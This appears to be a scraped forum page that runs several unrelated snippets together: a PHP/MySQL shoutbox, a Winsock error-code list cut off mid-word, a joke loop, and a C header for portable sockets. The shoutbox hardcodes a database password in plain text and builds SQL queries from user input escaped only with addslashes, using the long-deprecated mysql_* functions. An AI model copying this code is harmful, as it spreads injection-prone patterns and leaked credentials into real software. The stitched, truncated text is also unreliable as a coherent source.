<input type="text" name="email" value="Email" id="pform"><br>
<input type="text" name="message" value="Message" id="pform"><br>
<input type="submit" value="Post" id="pform">
</form>
</div>
</center>
</body>
</html>
<html>
<head>
</head>
<body>
<?php
include 'functions.php';
$db = mysql_connect('localhost', 'niels', 'b1n4ryun1v3rs3_adminS_BU_');
mysql_select_db('niels', $db);
$user = check($_POST['name']);
$email = check($_POST['email']);
$message = check($_POST['message']);
$result = mysql_query("INSERT INTO `shoutbook` (user, email, message) VALUES ('$user', '$email', '$message')");
?>
<script type="text/javascript">
window.location = "index.php";
</script>
</body>
</html>
<?php
// FUNCTIONS FOR USE WITH INDEX.PHP AND POST.PHP
// display() - displays shoutbox
function display() {
$db = mysql_connect("localhost", 'niels', 'b1n4ryun1v3rs3_adminS_BU_');
mysql_select_db('niels', $db);
$result = mysql_query("SELECT * FROM `shoutbook` WHERE 1");
while ($row = mysql_fetch_row($result))
echo "<a href=\"mailto:$row[1]\" id=\"name\">$row[0]</a>: $row[2]<hr>";
}
// check() - adds slashes to quotes, slashes, etc, handles HTML
function check($str) {
$str = strip_tags($str);
if (!get_magic_quotes_gpc()) $str = addslashes($str);
$str = htmlspecialchars($str);
return $str;
}
?>

WSASYSNOTREADY Indicates that the underlying network subsystem is not ready for network communication.
WSAVERNOTSUPPORTED The version of Windows Sockets support requested is not provided by this particular Windows Sockets implementation.
WSAEINPROGRESS A blocking Windows Sockets 1.1 operation is in progress.
WSAEPROCLIM Limit on the number of tasks supported by the Windows Sockets implementation has been reached.
WSAEFAULT The lpWSAData is not a valid point
while( flamingPeople(ON_INTERNET) )
{
ePenis++;
}/* Basic header file designed with the intention of making Windows-Linux socket (based more on internet sockets) compatible programs designing easier *
* Currently this is only compatible with WIN32 and *nix systems (wiht BSD sockets), if you use another system, this will appear only with the comments and the function, only returning 0. *
* If we're on a WIN32 platform ... */
#ifdef _WIN32
#include <Windows.h>
#include <Winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define close(x) closesocket(x)
#endif
/* Else, if __unix__ it's defined, we're on a *nix system, with BSD sockets (I hope) */
#ifdef __unix__
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#endif
#define OTHER 10
/* Declare a function that will start WSA, if we're on a WIN32 system, else, it will do nothing. *
* It will return the results of the WSAStartup() function, but, if we're on a unix platform, it will return OTHER (wich is 10) */
int WSAGO() {
#ifdef _WIN32
/* If we're on a WIN32 platform, we need to startup WSA ... */
WSADATA wsa; /* declare a WSADATA variable */
WORD word; /* declare a WORD variable (wich will contain the version of wsa) */
word = MAKEWORD(2, 0); /* give the version to the WORD variable (in this case 2.0) */
return WSAStartup(word, &wsa); /* Return the the WSAStartup results, error handling is on the count of the programmer */ }
#else
/* Else, if we're on another platform ... */
return OTHER; /* we return OTHER */ }
#endif
/* This is just a small header file, and any offered code is welcome. *
* This was done because it will ease the life of many (a bit lazy) programmers (like me), because you don't have to do a lot of steps to startup the WSA and it will ease portability */
Users browsing this forum: No registered users and 1 guest